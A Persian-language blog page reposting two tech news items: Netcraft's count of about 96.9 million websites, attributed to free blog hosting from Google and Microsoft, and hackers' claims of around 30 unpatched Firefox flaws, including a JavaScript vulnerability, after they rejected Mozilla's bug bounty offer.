شركت تحقيقات اينترنتي "نتكرفت" در گزارش ماه سپتامبر خود اعلام كرد تعداد وب سايتهاي اينترنت به حدود 96/9ميليون عدد رسيده است. به گزارش سايت اينترنتي "تكوب"، آمار جمع آوري شده توسط اين شركت نشان ميدهد تعداد وب سايت هاي اينترنت در ماههاي گذشته با رشد فزايندهاي مواجه بوده به طوري كه تنها از ماه ژوئن گذشته تاكنون حدود 15/5 ميليون وب سايت جديد در اينترنت راهاندازي شده است. كارشناسان شركت "نتكرفت" دليل اصلي رشد چشمگير تعداد وب سايت هاي اينترنت را ارائه خدمات رايگان ميزباني( (HOSTING?از وب سايتها و وب لاگهاي جديد كاربران توسط شركت هاي بزرگ اينترنتي بويژه دو شركت "گوگل" و "مايكروسافت"، ميدانند. ميليون ها كاربر اينترنت در ماههاي اخير با استفاده از خدمات رايگان وب لاگنويسي "ويندوز لايو اسپيسز" شركت "مايكروسافت" و "خدمات "بلاگر" شركت "گوگل" براي ثبت وب سايت ها و وب لاگهاي جديد به نام خود اقدام كردهاند به طوري كه تنها در ماه ميلادي گذشته 1/3 ميليون نفر در "ويندوز لايو اسپيسز" و 459 هزار نفر در خدمات "بلاگر" ثبت نام كرده و وب سايت هاي جديد خود را راهاندازي كردهاند. همين آمار نشان ميدهد در پنج ماه اول سال ميلادي جاري در هر ماه به طور ميانگين 2/75 ميليون وب سايت جديد به اينترنت افزوده شده و پس از ماه ژوئن اين روند سرعت گرفته به طوري كه از آن زمان تاكنون هر ماه به طور ميانگين 5/4 ميليون وب سايت به اينترنت افزوده شدهاست نوشته شده در ساعت 2:19 توسط شیطان پنهان(hidesatan)
هكرها ادعا ميكنند 30 نقص در فايرفاكس وجود دارد که اصلاح نشده اند . مرورگر وب OPEN-SOURCE فايرفاكس دچار نقايصي بحراني در برنامهي JAVASCRIPT خود شده است. حمله كنندگان ميتوانند كنترل كامپيوترهايي را كه از اين مرورگر استفاده ميكنند، به آساني و با ايجاد صفحهي وبي حاوي كد مخرب JAVASCRIPT در اختيار گيرند. اين نقص بر روي فايرفاكس كامپيوترهاي ويندوز، MAC OS X اپل و لينوكس تأثير ميگذارد. به نظر ميرسد كه مشكل JAVASCRIPT يك آسيب پذيري واقعي و جدي باشد كه كاربران را در معرض خطر قرار داده و هكرها را به هدفشان نزديكتر كرده است. به اين دليل كه نقص ياد شده در بخش JAVASCRIPT اين مرورگر قرار دارد، بنابراين PATCH كردن آن كار سادهاي نخواهد بود و نميتوان به سرعت برنامهاي براي برطرف ساختن آن ارايه داد. هكرهاي اين نقص ادعا ميكنند كه از وجود 30 نقص PATCH نشده در فايرفاكس اطلاع دارند، اما آنها را فاش نخواهند كرد. كارشناسان امنيتي موزيلا سعي كردند اين دو هكر را به فاش كردن نقايص فايرفاكس تشويق كرده و از بهره برداري از آنها براي سرقت اطلاعات كامپيوترها باز دارند. آنها به اين هكرها پيشنهاد كردهاند كه در صورت آشكار كردن حفرههاي امنيتي فايرفاكس، مبلغ 500 دلار در ازاي هر آسيب پذيري به آنها پرداخت خواهند كرد، اما هكرها اين پيشنهاد را نپذيرفتهاند. نوشته شده در ساعت 2:14 توسط شیطان پنهان(hidesatan) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
This Template designed by ParsTheme , Copyright © 2006 all rights reserved
--------------------------------------------------------------------------------
www.mahsasaeid.blogfa.com